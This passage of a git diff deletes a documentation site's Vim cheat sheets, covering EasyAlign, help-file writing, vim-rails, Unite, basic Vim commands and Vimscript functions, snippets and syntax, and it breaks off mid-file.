-| SE | My | $$ | Ct | Ye | Cu |
-
-| ★ | ☆ | ♡ | ◆ | ◇ |
-| *2 | *1 | cH | Db | Dw |
-
-| ✓ | ✗ |
-| OK | XX |
-
-### Dots and bullets
-
-| ⋅ | · | ○ | ∙ | ∘ | ∴ | ∵ | ∶ | ∷ |
-| .P | .M | 0m | Sb | Ob | .: | :. | :R | :: |
-
-| ⊙ | ⊚ | ◎ | □ | ▪ |
-| 0. | 02 | 0o | OS | sB |
-
-### Math
-
-| ø | ≃ | ≅ | ≥ | ≤ | ≡ | ≮ | ≯ | ≠ |
-| o/ | ?- | ?= | >= | =< | =3 | !< | !> | != |
-
-| √ | × | ÷ |
-| RT _root_ | /\ _times_ | -: _divide_ |
-
-| ⊂ | ⊃ | ∩ | ∪ |
-| (C _subset_ | )C _superset_ | (U _intersection_ | )U _union_ |
-
-| ¼ | ½ | ¾ | ₃ | ₂ | ³ | ² |
-| 14 | 12 | 34 | 3s | 2s | 3S | 2S |
-
-### Triangles
-
-| ▲ | △ | ▼ | ▽ |
-| UT | uT | Dt | dT |
-
-| ▶ | ▷ | ◀ | ◁ |
-| PR | Tr | PL | Tl |
-
-| » | « | 〈 | 〉 | ‹ | › |
-| >> | << | </ | /> | <1 | >1 |
-
-### Arrows
-
-| ← | → | ↑ | ↓ | ↕ | ↔ |
-| <- | -> | -! | -v | UD | <> |
-
-| ⇐ | ⇒ | ⇔ |
-| <= | => | == |
-
-<style>
-.all table tr td { text-align: center; }
-.all table tr:first-child td { font-size: 1.3em; padding-bottom: 0; }
-.all table tr:first-child+tr td { font-size: 0.9em; color: dodgerblue; border-top: 0; padding-top: 0; font-family: fira mono, monospace; }
-.all table em { color: #aaa; font-size: 0.9em; font-style: normal; font-family: roboto, sans-serif; }
-</style>
diff --git a/docs/content/cheat-sheets/vim-easyalign.md b/docs/content/cheat-sheets/vim-easyalign.md
deleted file mode 100644
index 2271bf9d1e..0000000000
--- a/docs/content/cheat-sheets/vim-easyalign.md
+++ /dev/null
@@ -1,102 +0,0 @@
----
-title: Vim Easyalign
-html_class: key-codes
-hljs_languages: [vim]
-category: Vim
----
-
-## Command mode
-
-### Align by delimiters
-
-```vim
-:EasyAlign :       " preset characters (\=:.,&#|)
-:EasyAlign |
-:EasyAlign \       " \ means space
-```
-
-### Align by regexp
-
-```vim
-:EasyAlign /[:;]+/
-```
-
-### Specify which
-
-```vim
-:EasyAlign |       " align by 1st `|`
-:EasyAlign 3 |     " align by 3rd `|`
-:EasyAlign * |     " align by all `|`s
-```
-
-### Add options
-
-```vim
-:EasyAlign * | l4r1
-
-  l4     " lN - left_margin
-  r1     " rN - right_margin
-         "    spaces to the left/right of `|`
-  ar     " a[lrc] - align
-         "    align left/right/center
-  dr     " d[lrc] - delimiter_align
-         "    alignment of the delimiter itself
-```
-
-### Spaces are optional
-
-```vim
-:EasyAlign * /[;:]+/ l3
-:EasyAlign*/[;:]+/l3
-```
-
-## Examples
-
-### `:EasyAlign = dr` (delimiter_align right)
-
-```
-apple    = 1
-banana  += apple
-cake   ||= banana
-```
-
-### `:EasyAlign :` (for json or yaml)
-
-```
-url:      jdbc:mysql://localhost/test
-database: test
-```
-
-### `:EasyAlign *|` (markdown tables)
-
-```nohighlight
-| `<Enter>` | right align                   |
-| `1`       | on 1st occurrence             |
-| `2`       | on 2nd occurrence (and so on) |
-```
-
-## Interactive mode
-
-| `{Visual}` `⏎` | activate for selection |
-| `ga` `{motion}` | activate for motion/text object |
-{:.greycode}
-
-Then press options (if available), then a delimiter.
-
-### Interactive mode options
-
-| `⏎` | Set `alignment` |
-| `<ctrl-l>` `4 ⏎` | Set `left_margin` (to the left of the delimiter) |
-| `<ctrl-r>` `4 ⏎` | Set `right_margin` |
-| `↓` | no margin |
-{:.greycode}
-
-### Example
-
--   `gaip` `<ctrl-l>` `8⏎` `=` - puts 8 spaces before the equal sign
-
-## Also see
-
--   [vim-easy-align](https://github.com/junegunn/vim-easy-align)
--   [Examples](https://github.com/junegunn/vim-easy-align#examples)
--   [Alignment options](https://github.com/junegunn/vim-easy-align#alignment-options)
diff --git a/docs/content/cheat-sheets/vim-help.md b/docs/content/cheat-sheets/vim-help.md
deleted file mode 100644
index ea85f4677a..0000000000
--- a/docs/content/cheat-sheets/vim-help.md
+++ /dev/null
@@ -1,133 +0,0 @@
----
-title: Vim helpfiles
-category: Vim
----
-
-## Writing help files
-
-{: .-left-reference}
-
-### Creating a document
-
-```nohighlight
-:e doc/potion.txt
-:set ft=help
-:set ft=text
-```
-
-Use `ft=help` to preview it, and `ft=text` to edit it.
-
-### Example
-
-```nohighlight
-*ack.txt*   Plugin that integrates ack with Vim
-
-==============================================================================
-USAGE INSTRUCTIONS                                                 *ack-usage*
-
-:Ack[!] {pattern}                                                       *:Ack*
-
-    Search recursively for {pattern}. See |:AckAdd|.
-    Also see http://beyondgrep.com for more information.
-
-vim:tw=78:ts=8:ft=help:norl:
-```
-
-This is a cheatsheet for writing Vim help files. See: `:help help-writing`
-
-## Syntax
-
-### Reference
-
-| Code                 | Description    | Example             |
-| -------------------- | -------------- | ------------------- | ------------- | --- | -------- | --- |
-| _Inline items_       |
-| -----                | -----          | -----               |
-| `*tags*`             | Tags           |                     |
-| `                    | link-to-tags   | `                   | Links to tags | `   | :command | `   |
-| `'vimoption'`        | Vim option     | `'textwidth'`       |
-| -----                | -----          | -----               |
-| `{code-text}`        | Code text      | `{Visual}gf`        |
-| `<code-text>`        | Code text      | `<PageDown>`        |
-| `` `code-text` ``    | Code text      | `` `set fo=want` `` |
-| `CTRL-X`             | Code text      |                     |
-| -----                | -----          | -----               |
-| _Block items_        |
-| -----                | -----          | -----               |
-| `INTRODUCTION *tag*` | Section header |                     |
-| `Column heading~`    | Highlighting   |                     |
-| `www.url.com`        | Web URL        |                     |
-| -----                | -----          | -----               |
-| `=====`              | Separator      |                     |
-| `-----`              | Separator      |                     |
-
-### Tags
-
--   Tags are created with asterisks, eg, `*potion-usage*`
--   Links to tags are `|potion-usage|`
--   Press `^]` to jump to a tag
-
-### Code blocks
-
-```
-Example: >
- xyz
-<
-```
-
-Surround with `>` and `<` characters
-
-### File header
-
-```
-*potion.txt*  functionality for the potion programming language
-```
-
-It's customary to start a file with a tag of the filename, plus a description.
-
-### Heading
-
-```
-==============================================================================
-CONTENTS                                                     *potion-contents*
-```
-
-Starts with `ALL CAPS`, ends with `*a-tag*`
-
-### Notes
-
-Using `*Todo` and `*Error` will highlight your notes.
-
-```
-	*Todo something to do
-	*Error something wrong
-```
-
-### Final modeline
-
-```nohighlight
-vim:tw=78:ts=8:ft=help:norl:
-```
-
-## Conventions
-
-### Table of contents
-
-```nohighlight
-|rails-introduction|            Introduction and Feature Summary
-|rails-commands|                General Commands
-|rails-navigation|              Navigation
-```
-
-```nohighlight
-    1.Intro...................................|ergonomic|
-    2.Note to use..............................|CAPSLOCK|
-    3.Insert Mode Remappings............|ergonomicInsert|
-```
-
-### Author lines
-
-```nohighlight
-Author:  Jack Hackness <captain@time.com>         *xyz-author*
-License: Same terms as Vim itself (see |license|)
-```
diff --git a/docs/content/cheat-sheets/vim-rails.md b/docs/content/cheat-sheets/vim-rails.md
deleted file mode 100644
index 0c9582cc66..0000000000
--- a/docs/content/cheat-sheets/vim-rails.md
+++ /dev/null
@@ -1,137 +0,0 @@
----
-title: Vim-rails
-category: Vim
-html_class: key-codes
----
-
-## Alternate files
-
-| `:A` | alternate file (test) |
-| `:R` | related file (controller/view) |
-
-### What it does
-
-| .                     | :A                | :R              |
-| --------------------- | ----------------- | --------------- |
-| **Model**             | test/models/      | db/schema.rb    |
-| **Controller method** | test/controllers/ | app/views/      |
-| **View template**     | test/views/       | app/controllers |
-
-## Abbreviations
-
-Type `:Rabbrev` for a full list.
-
-| Abbrev  | Expansion        |
-| ------- | ---------------- |
-| `AC::`  | ActionController |
-| `AR::`  | ActiveRecord     |
-| `AV::`  | ActionView       |
-| `...`   | ...              |
-| ---     | ---              |
-| `logd(` | logger.debug     |
-| `logi(` | logger.info      |
-| `...`   | ...              |
-
-{:.no-head.greycode}
-
-### Model
-
-| Abbrev   | Expansion                 |
-| -------- | ------------------------- |
-| `bt(`    | `belongs_to`              |
-| `hm(`    | `has_many`                |
-| `ho(`    | `has_one`                 |
-| `habtm(` | `has_and_belongs_to_many` |
-
-{:.no-head.greycode}
-
-### Controllers
-
-| Abbrev | Expansion       |
-| ------ | --------------- |
-| `pa[`  | params          |
-| `re(`  | redirect_to     |
-| `rp(`  | render partial: |
-| `rst(` | respond_to      |
-
-{:.no-head.greycode}
-
-### Views
-
-| Abbrev  | Expansion                   |
-| ------- | --------------------------- |
-| `dotiw` | `distance_of_time_in_words` |
-| `taiw`  | `time_ago_in_words`         |
-
-{:.no-head.greycode}
-
-## Extracting partials
-
-```rb
-# from view => app/views/home/_foo_partial.haml
-  :Rextract home/foo_partial
-
-# from model => app/models/concerns/foo_concern.rb
-  :Rextract FooConcern
-```
-
-## Loading files
-
-### App
-
-    :Econtroller <file>     # app/controllers/*_controller.rb
-    :Ehelper                # app/helpers/*_helper.rb
-    :Emodel <file>          # app/models/*.rb
-    :Ejob <file>            # app/jobs/*_job.rb
-    :Emailer <file>         # app/mailers/*.rb
-
-### DB
-
-    :Emigration <file>     # db/migrations/*.rb
-    :Eschema               # db/schema.rb
-
-### Lib
-
-    :Elib <file>      # lib/*.rb
-    :Elib             # Gemfile
-    :Etask <file>     # lib/tasks/*.rake
-
-### Assets
-
-    :Estylesheet
-    :Ejavascript
-
-### Views
-
-    :Eview
-    :Elayout
-
-### Test
-
-    :Espec
-    :Eunittest
-      # test/{unit,models,helpers}/*_test.rb
-      # spec/{unit,models,helpers}/*_spec.rb
-
-    :Efunctionaltest
-      # test/{functional,controllers,mailers}/*_test.rb
-      # spec/{functional,controllers,mailers}/*_spec.rb
-
-    :Eintegrationtest
-      # test/integration/*_test.rb
-      # spec/{features,requests,integration}/*_spec.rb
-      # features/*.feature
-
-    :Efixtures
-    :Efunctionaltest
-
-### Config
-
-    :Einitializer <file>          # config/initializers/*.rb
-    :Elocale                      # config/locales/*.yml
-    :Eenvironment                 # application.rb
-    :Eenvironment development     # config/environments/*.rb
-
-## Reference
-
--   [vim-rails](https://github.com/tpope/vim-rails)
diff --git a/docs/content/cheat-sheets/vim-unite.md b/docs/content/cheat-sheets/vim-unite.md
deleted file mode 100644
index e6d15384fd..0000000000
--- a/docs/content/cheat-sheets/vim-unite.md
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Vim-Unite
-category: Vim
----
-
-### Usage
-
-```vim
-:Unite file
-:Unite file_rec/async:!
-:Unite tag
-:Unite buffer
-```
-
-### Sources
-
--   `file/new`
--   `file/async`
--   `file_rec/async`
--   `file_rec/git`
--   `buffer`
--   `buffer_tab` (current tab only)
--   `tab`
--   `register`
--   `bookmark`
--   `source`
-
-### Options
-
-| Option                     | Description                                                 |
-| -------------------------- | ----------------------------------------------------------- |
-| `-start-insert`            |                                                             |
-| `-no-quit`                 |                                                             |
-| `-winheight=10`            |                                                             |
-| `-quick-match`             | select by pressing asdf keys                                |
-| `-winwidth=40`             | use with vertical                                           |
-| `-no-split`                | open in current buffer                                      |
-| `-auto-preview`            | great for outline                                           |
-| `-vertical`                | open as sidebar                                             |
-| `-buffer-name=xxx -resume` | resume the next time it's called (faster)                   |
-| `-input=`                  | reset input (use with -resume)                              |
-| `-unique`                  | remove duplicates (eg, if using `file_rec` with `file_mru`) |
diff --git a/docs/content/cheat-sheets/vim.md b/docs/content/cheat-sheets/vim.md
deleted file mode 100644
index ff9bee8831..0000000000
--- a/docs/content/cheat-sheets/vim.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# File management
-
-:e reload file
-:q quit
-:q! quit without saving changes
-:w write file
-:w {file} write new file
-:x write file and exit
-
-# Movement
-
-    k
-
-h l basic motion
-j
-
-w next start of word
-W next start of whitespace-delimited word
-e next end of word
-E next end of whitespace-delimited word
-b previous start of word
-B previous start of whitespace-delimited word
-0 start of line
-$ end of line
-gg go to first line in file
-G go to end of file
-gk move down one displayed line
-gj move up one displayed line
-
-# Insertion
-
-# To exit from insert mode use Esc or Ctrl-C
-
-# Enter insertion mode and:
-
-a append after the cursor
-A append at the end of the line
-i insert before the cursor
-I insert at the beginning of the line
-o create a new line under the cursor
-O create a new line above the cursor
-R enter insert mode but replace instead of inserting chars
-:r {file} insert from file
-
-# Editing
-
-u undo
-yy yank (copy) a line
-y{motion} yank text that {motion} moves over
-p paste after cursor
-P paste before cursor
-<Del> or x delete a character
-dd delete a line
-d{motion} delete text that {motion} moves over
-
-# Search and replace with the `:substitute` (aka `:s`) command
-
-:s/foo/bar/ replace the first match of 'foo' with 'bar' on the current line only
-:s/foo/bar/g replace all matches (`g` flag) of 'foo' with 'bar' on the current line only
-:%s/foo/bar/g replace all matches of 'foo' with 'bar' in the entire file (`:%s`)
-:%s/foo/bar/gc ask to manually confirm (`c` flag) each replacement
-
-# Preceding a motion or edition with a number repeats it 'n' times
-
-# Examples:
-
-50k moves 50 lines up
-2dw deletes 2 words
-5yy copies 5 lines
-42G go to line 42
-
-# Multiple windows
-
-:e filename - edit another file
-:split filename - split window and load another file
-ctrl-w up arrow - move cursor up a window
-ctrl-w ctrl-w - move cursor to another window (cycle)
-ctrl-w\_ - maximize current window
-ctrl-w= - make all equal size
-10 ctrl-w+ - increase window size by 10 lines
-:vsplit file - vertical split
-:sview file - same as split, but readonly
-:hide - close current window
-:only - keep only this window open
-:ls - show current buffers
-:b 2 - open buffer #2 in this window
diff --git a/docs/content/cheat-sheets/vimscript-functions.md b/docs/content/cheat-sheets/vimscript-functions.md
deleted file mode 100644
index 31daf1bf46..0000000000
--- a/docs/content/cheat-sheets/vimscript-functions.md
+++ /dev/null
@@ -1,208 +0,0 @@
----
-title: Vimscript functions
-category: Vim
----
-
-## Dictionaries
-
-```vim
-let colors = {
-  \ "apple": "red",
-  \ "banana": "yellow"
-}
-
-echo colors["a"]
-echo get(colors, "apple")   " suppress error
-
-remove(colors, "apple")
-
-" :help E715
-if has_key(dict, 'foo')
-if empty(dict)
-keys(dict)
-len(dict)
-
-max(dict)
-min(dict)
-
-count(dict, 'x')
-string(dict)
-
-map(dict, '<>> " . v:val')
-extend(s:fruits, { ... })
-```
-
-```vim
-for key in keys(mydict)
-  echo key . ': ' . mydict(key)
-endfor
-```
-
-## Lists
-
-```vim
-let mylist = [1, two, 3, "four"]
-
-let first = mylist[0]
-let last  = mylist[-1]
-
-" Suppresses errors
-let second = get(mylist, 1)
-let second = get(mylist, 1, "NONE")
-```
-
-## Functions
-
-### Buffer
-
-    line('.')             " current line number
-    col('.')
-    col('$')
-
-    getline('.')          " current line as a string
-    getline(1)            " get line 1
-    getline(1, 5)         " get lines 1-5
-    search('^$')          " next blank line, returns line number
-    search('^$','n')      " but don't move cursor
-
-    getcurpos()           " [bufnum, lnum, col, off, curswant]
-    getpos('.')           " [bufnum, lnum, col, off]
-
-    nextnonblank(1)       " next non-blank line after line1
-    prevnonblank()
-
-### Marks
-
-    getpos("'a")          " position of a mark
-    setpos("'a",...)
-
-    getpos("'<")          " position of selection start
-
-### Cursor
-
-    cursor(line,col)      " moves cursor
-    cursor(line,col,off,curswant)
-
-    getcurpos()           " returns [bufnum,line,col,off,curswant]
-
-### Expand
-
-    expand('<cword>')      " word under cursor
-    expand('%')            " current file
-
-    " <cword>  current word on cursor
-    " :p    full path
-    " :h    head
-    " :p:h  dirname   (/Users/rsc/project)
-    " :t    tail      (file.txt)
-    " :r    root      (file)
-    " :e    extension (.txt)
-    " see :h cmdline-special
-
-### Files
-
-    fnameescape('string')
-    fnamemodify('main.c', ':p:h')
-    fnamemodify(fname, ':e')   " current file extension - see expand()
-    filereadable(fname)
-    getfsize('file.txt')
-    getcwd()
-
-    globpath(&rtp, "plugin/commentary.vim")
-
-### Math
-
-    fmod(9, 2)  " modulus
-    abs(-0.5)
-    sqrt(9)
-
-    trunc(1.84)
-    floor(1.84)
-    ceil(1.84)
-    float2nr(3.14)
-
-### Casting
-
-    str2float('0.2')
-    str2nr('240')
-    str2nr('ff', '16')
-
-    string(0.3)
-
-### Type checking
-
-    type(var) == type(0)
-    type(var) == type("")
-    type(var) == type(function("tr"))
-    type(var) == type([])
-    type(var) == type({})
-    type(var) == type(0.0)
-
-### Date/time
-
-    strftime('%c')
-    strftime('%c',getftime('file.c'))
-
-### Strings
-
-    if a =~ '\s*'
-    substitute(str, '.', 'x', 'g')
-    strpart("abcdef", 3, 2)    " == "de" (substring)
-    strpart("abcdef", 3)       " == "def"
-    stridx("abcdef", "e")      " == 4
-    strridx()                  " reverse
-
-    matchstr('testing','test')  " == 'test' (or '')
-    match('testing','test')     " == 0
-    matchend('testing','test')  " == 4
-    match('testing','\ctest')   " ignore case
-
-    split(str, '\zs')           " split into characters
-
-    strlen(str)
-    strchars()                  " accounts for composing chars
-    strwidth()                  " accounts for ambig characters
-    strdisplaywidth()           " accounts for tab stops
-
-    toupper(str)
-    tolower(str)
-    tr('foo', '_-', '  ')
-
-### Syntax
-
-    synstack(line('.'),col('.'))   " returns many
-    synID(line('.'),col('.'),1)    " only one
-
-    synIDattr(id,"bg")
-    synIDattr(id,"name")
-    synIDtrans()
-
-    " syntax stack
-    map(synstack(line('.'), col('.')), 'synIDattr(v:val, "name")')
-
-### Shell
-
-    system('ls '.shellescape(expand('%:h')))
-
-### Registers
-
-    getreg('*')
-    getregtype('*')     " v(char), V(line) <ctrl-v>(block)
-
-## Comparisons
-
-    if name ==# 'John'     " case-sensitive
-    if name ==? 'John'     " case-insensitive
-    if name == 'John'      " depends on :set ignorecase
-    " also: is#, is?, >=#, >=?, and so on
-
-    if "hello" =~ '.*'
-    if "hello" !~ '.*'
-
-## Executing
-
-### Running commands
-
-    normal 'ddahello'
-    exe 'normal ^C'  " with expansions
-    wincmd J
diff --git a/docs/content/cheat-sheets/vimscript-snippets.md b/docs/content/cheat-sheets/vimscript-snippets.md
deleted file mode 100644
index 8ce76a1114..0000000000
--- a/docs/content/cheat-sheets/vimscript-snippets.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: Vimscript snippets
-category: Vim
----
-
-### Bind function to key and command
-
-    command! YoFunctionHere call s:YoFunctionHere()
-    nnoremap <silent> x :call <SID>FunctionHere()<CR>
-    function! s:FunctionHere()
-    endfunction
-
-### Call a function in insert mode
-
-    inoremap X <C-R>=script#myfunction()<CR>
-    inoremap <F2> <C-R>=MyVimFunc()?'':''<CR>
-
-### Checking plugins
-
-    if globpath(&rtp, "plugin/commentary.vim") != ""
-
-## Autoload
-
-    " autoload/hello.vim
-    if exists("g:hello_loaded") | finish | endif
-    let g:hello_loaded=1
-
-    function hello#method()
-    endfunction
-
-    " calling hello#method() will load only if autoload()
-
-## Misc
-
-### Version check
-
-    if version < 704
-      echom "requires vim >= 7.4"
-    endif
diff --git a/docs/content/cheat-sheets/vimscript.md b/docs/content/cheat-sheets/vimscript.md
deleted file mode 100644
index 4d4fe9a409..0000000000
--- a/docs/content/cheat-sheets/vimscript.md
+++ /dev/null
@@ -1,701 +0,0 @@
----
-title: Vim scripting
-category: Vim
-prism_languages: [vim]
-
-weight: -10
-tags: [Featurable]
----
-
-### Start hacking
-
-```vim
-let name = "John"
-echo "Hello, " . name
-```
-
-You can either put this in a script (`script.vim`) and run it (`:source script.vim`), or you can type the commands individually in normal mode as `:let` and `:echo`.
-
-### Learn by example
-
-```vim
-function! SuperTab()
-  let l:part = strpart(getline('.'),col('.')-2,1)
-  if (l:part =~ '^\W\?$')
-      return "\<Tab>"
-  else
-      return "\<C-n>"
-  endif
-endfunction
-
-imap <Tab> <C-R>=SuperTab()<CR>
-```
-
-[Here](http://www.vimbits.com/bits/46)'s another example with [functions](#functions), [variables](#variables) and [mapping](#mapping).
-
-## Variables
-
-### Defining
-
-```vim
-let var = "hello"
-```
-
-### Variable prefixes
-
-```vim
-let g:ack_options = '-s -H'    " g: global
-let s:ack_program = 'ack'      " s: local (to script)
-let l:foo = 'bar'              " l: local (to function)
-```
-
-The `s:` prefix is also available in function names. See `:help local-variables`
-
-### Other prefixes
-
-```vim
-let w:foo = 'bar'    " w: window
-let b:state = 'on'   " b: buffer
-let t:state = 'off'  " t: tab
-echo v:var           " v: vim special
-```
-
-```vim
-let @/ = ''          " @  register (this clears last search pattern)
-echo $PATH           " $  env
-```
-
-### Vim options
-
-```vim
-echo 'tabstop is ' . &tabstop
-if &insertmode
-echo &g:option
-echo &l:option
-```
-
-Prefix Vim options with `&`
-
-### Operators
-
-```vim
-a + b             " numbers only!
-'hello ' . name   " concat
-```
-
-```vim
-let var -= 2
-let var += 5
-let var .= 'string'   " concat
-```
-
-## Strings
-
-### Strings
-
-```vim
-let str = "String"
-let str = "String with \n newline"
-
-let literal = 'literal, no \ escaping'
-let literal = 'that''s enough'  " double '' => '
-
-echo "result = " . re   " concatenation
-```
-
-Also see `:help literal-string` and `:help expr-quote`.
-See: [Strings](http://learnvimscriptthehardway.stevelosh.com/chapters/26.html)
-
-### String functions
-
-```vim
-strlen(str)    " length
-len(str)       " same
-strchars(str)  " character length
-
-split("one two three")       "=> ['one', 'two', 'three']
-split("one.two.three", '.')  "=> ['one', 'two', 'three']
-
-join(['a', 'b'], ',')  "=> 'a,b'
-
-tolower('Hello')
-toupper('Hello')
-```
-
-Also see `:help functions`
-See: [String functions](http://learnvimscriptthehardway.stevelosh.com/chapters/27.html)
-
-## Functions
-
-### Functions
-
-```vim
-" prefix with s: for local script-only functions
-function! s:Initialize(cmd, args)
-  " a: prefix for arguments
-  echo "Command: " . a:cmd
-
-  return true
-endfunction
-```
-
-See: [Functions](http://learnvimscriptthehardway.stevelosh.com/chapters/23.html)
-
-### Namespacing
-
-```vim
-function! myplugin#hello()
-```
-
-### Calling functions
-
-```vim
-call s:Initialize()
-call s:Initialize("hello")
-```
-
-### Consuming return values
-
-```vim
-echo "Result: " . s:Initialize()
-```
-
-### Abortable
-
-```vim
-function! myfunction() abort
-endfunction
-```
-
-Aborts when an error occurs.
-
-### Var arguments
-
-```vim
-function! infect(...)
-  echo a:0    "=> 2
-  echo a:1    "=> jake
-  echo a:2    "=> bella
-
-  for s in a:000  " a list
-    echon ' ' . s
-  endfor
-endfunction
-
-infect('jake', 'bella')
-```
-
-See `:help function-argument`. See: [Var arguments](http://learnvimscriptthehardway.stevelosh.com/chapters/24.html)
-
-## Loops
-
-```vim
-for s in list
-  echo s
-  continue  " jump to start of loop
-  break     " breaks out of a loop
-endfor
-```
-
-```vim
-while x < 5
-endwhile
-```
-
-## Custom commands
-
-### Custom commands
-
-```vim
-command! Save :set fo=want tw=80 nowrap
-```
-
-Custom commands start with uppercase letters. The `!` redefines a command if it already exists.
-
-### Commands calling functions
-
-```vim
-command! Save call <SID>foo()
-```
-
-{: .-setup}
-
-```vim
-function! s:foo()
-  ...
-endfunction
-```
-
-### Commands with arguments
-
-```vim
-command! -nargs=? Save call script#foo(<args>)
-```
-
-{: .-setup}
-
-| What       | What                          |
-| ---------- | ----------------------------- |
-| `-nargs=0` | 0 arguments, default          |
-| `-nargs=1` | 1 argument, includes spaces   |
-| `-nargs=?` | 0 or 1 argument               |
-| `-nargs=*` | 0+ arguments, space separated |
-| `-nargs=+` | 1+ arguments, space reparated |
-
-## Flow
-
-### Conditionals
-
-```vim
-let char = getchar()
-if char == "\<LeftMouse>"
-  " ...
-elseif char == "\<RightMouse>"
-  " ...
-else
-  " ...
-endif
-```
-
-### Truthiness
-
-```vim
-if 1 | echo "true"  | endif
-if 0 | echo "false" | endif
-```
-
-```vim
-if 1       "=> 1 (true)
-if 0       "=> 0 (false)
-if "1"     "=> 1 (true)
-if "456"   "=> 1 (true)
-if "xfz"   "=> 0 (false)
-```
-
-No booleans. `0` is false, `1` is true.
-See: [Truthiness](http://learnvimscriptthehardway.stevelosh.com/chapters/21.html)
-
-### Operators
-
-```vim
-if 3 > 2
-if a && b
-if (a && b) || (c && d)
-if !c
-```
-
-See `:help expression-syntax`.
-See: [Operators](http://learnvimscriptthehardway.stevelosh.com/chapters/22.html)
-
-### Strings
-
-```vim
-if name ==# 'John'     " case-sensitive
-if name ==? 'John'     " case-insensitive
-if name == 'John'      " depends on :set ignorecase
-
-" also: is#, is?, >=#, >=?, and so on
-```
-
-### Identity operators
-
-```vim
-a is b
-a isnot b
-```
-
-Checks if it's the same instance object.
-
-### Regexp matches
-
-```vim
-"hello" =~ 'xx*'
-"hello" !~ 'xx*'
-"hello" =~ '\v<\d+>'
-```
-
-`\v` enables "extended" regex mode which allows word boundary (`<>`), `+`, and more.
-
-### Single line
-
-```vim
-if empty(a:path) | return [] | endif
-a ? b : c
-```
-
-Use `|` to join lines together.
-
-### Boolean logic
-
-```vim
-if g:use_dispatch && s:has_dispatch
-  ···
-endif
-```
-
-## Lists
-
-### Lists
-
-```vim
-let mylist = [1, two, 3, "four"]
-
-let first = mylist[0]
-let last  = mylist[-1]
-
-" Suppresses errors
-let second = get(mylist, 1)
-let second = get(mylist, 1, "NONE")
-```
-
-### Functions
-
-```vim
-len(mylist)
-empty(mylist)
-
-sort(list)
-let sortedlist = sort(copy(list))
-
-split('hello there world', ' ')
-```
-
-### Concatenation
-
-```vim
-let longlist = mylist + [5, 6]
-let mylist += [7, 8]
-```
-
-### Sublists
-
-```vim
-let shortlist = mylist[2:-1]
-let shortlist = mylist[2:]     " same
-
-let shortlist = mylist[2:2]    " one item
-```
-
-### Push
-
-```vim
-let alist = [1, 2, 3]
-let alist = add(alist, 4)
-```
-
-### Map
-
-```vim
-call map(files, "bufname(v:val)")  " use v:val for value
-call filter(files, 'v:val != ""')
-```
-
-## Dictionaries
-
-### Dictionaries
-
-```vim
-let colors = {
-  \ "apple": "red",
-  \ "banana": "yellow"
-}
-
-echo colors["a"]
-echo get(colors, "apple")   " suppress error
-```
-
-See `:help dict`
-
-### Using dictionaries
-
-```vim
-remove(colors, "apple")
-```
-
-```vim
-" :help E715
-if has_key(dict, 'foo')
-if empty(dict)
-keys(dict)
-len(dict)
-```
-
-```vim
-max(dict)
-min(dict)
-```
-
-```vim
-count(dict, 'x')
-string(dict)
-```
-
-```vim
-map(dict, '<>> " . v:val')
-```
-
-### Iteration
-
-```vim
-for key in keys(mydict)
-  echo key . ': ' . mydict(key)
-endfor
-```
-
-### Prefixes
-
-```vim
-keys(s:)
-```
-
-Prefixes (`s:`, `g:`, `l:`, etc) are actually dictionaries.
-
-### Extending
-
-```vim
-" Extending with more
-let extend(s:fruits, { ... })
-```
-
-## Casting
-
-```vim
-str2float("2.3")
-str2nr("3")
-float2nr("3.14")
-```
-
-## Numbers
-
-### Numbers
-
-```vim
-let int = 1000
-let int = 0xff
-let int = 0755   " octal
-```
-
-See `:help Number`.
-See: [Numbers](http://learnvimscriptthehardway.stevelosh.com/chapters/25.html)
-
-### Floats
-
-```vim
-let fl = 100.1
-let fl = 5.4e4
-```
-
-See `:help Float`
-
-### Arithmetic
-
-```vim
-3 / 2     "=> 1, integer division
-3 / 2.0   "=> 1.5
-3 * 2.0   "=> 6.0
-```
-
-### Math functions
-
-```vim
-sqrt(100)
-floor(3.5)
-ceil(3.3)
-abs(-3.4)
-
-sin() cos() tan()
-sinh() cosh() tanh()
-asin() acos() atan()
-```
-
-## Vim-isms
-
-### Execute a command
-
-```vim
-execute "vsplit"
-execute "e " . fnameescape(filename)
-```
-
-Runs an ex command you typically run with `:`. Also see `:help execute`.
-See: [Execute a command](http://learnvimscriptthehardway.stevelosh.com/chapters/28.html)
-
-### Running keystrokes
-
-```vim
-normal G
-normal! G   " skips key mappings
-
-execute "normal! gg/foo\<cr>dd"
-```
-
-Use `:normal` to execute keystrokes as if you're typing them in normal mode. Combine with `:execute` for special keystrokes.
-See: [Running keystrokes](http://learnvimscriptthehardway.stevelosh.com/chapters/29.html)
-
-### Getting filenames
-
-```vim
-echo expand("%")      " path/file.txt
-echo expand("%:t")    " file.txt
-echo expand("%:p:h")  " /home/you/path/file.txt
-echo expand("%:r")    " path/file
-echo expand("%:e")    " txt
-```
-
-See `:help expand`
-
-### Silencing
-
-```vim
-silent g/Aap/p
-```
-
-Suppresses output. See `:help silent`
-
-### Echo
-
-```vim
-echoerr 'oh it failed'
-echomsg 'hello there'
-echo 'hello'
-
-echohl WarningMsg | echomsg "=> " . a:msg | echohl None
-```
-
-### Settings
-
-```vim
-set number
-set nonumber
-set number!     " toggle
-set numberwidth=5
-set guioptions+=e
-```
-
-### Prompts
-
-```vim
-let result = confirm("Sure?")
-execute "confirm q"
-```
-
-### Built-ins
-
-```vim
-has("feature")  " :h feature-list
-executable("python")
-globpath(&rtp, "syntax/c.vim")
-
-exists("$ENV")
-exists(":command")
-exists("variable")
-exists("+option")
-exists("g:...")
-```
-
-## Mapping
-
-### Mapping commands
-
-```vim
-nmap
-vmap
-imap
-xmap
-nnoremap
-vnoremap
-inoremap
-xnoremap
-...
-```
-
-### Explanation
-
-```vim
-[nvixso](nore)map
-```
-
-```
- │       └ don't recurse
- │
- └ normal, visual, insert,
-   eX mode, select, operator-pending
-```
-
-{: .-setup}
-
-### Arguments
-
-| `<buffer>` | only in current buffer |
-| `<silent>` | no echo |
-| `<nowait>` | |
-
-## Syntax
-
-### Highlights
-
-```vim
-hi Comment
-  term=bold,underline
-  gui=bold
-  ctermfg=4
-  guifg=#80a0ff
-```
-
-### Filetype detection
-
-```vim
-augroup filetypedetect
-  au! BufNewFile,BufRead *.json setf javascript
-augroup END
-
-au Filetype markdown setlocal spell
-```
-
-### Conceal
-
-```vim
-set conceallevel=2
-syn match newLine "<br>" conceal cchar=}
-hi newLine guifg=green
-```
-
-### Region conceal
-
-```vim
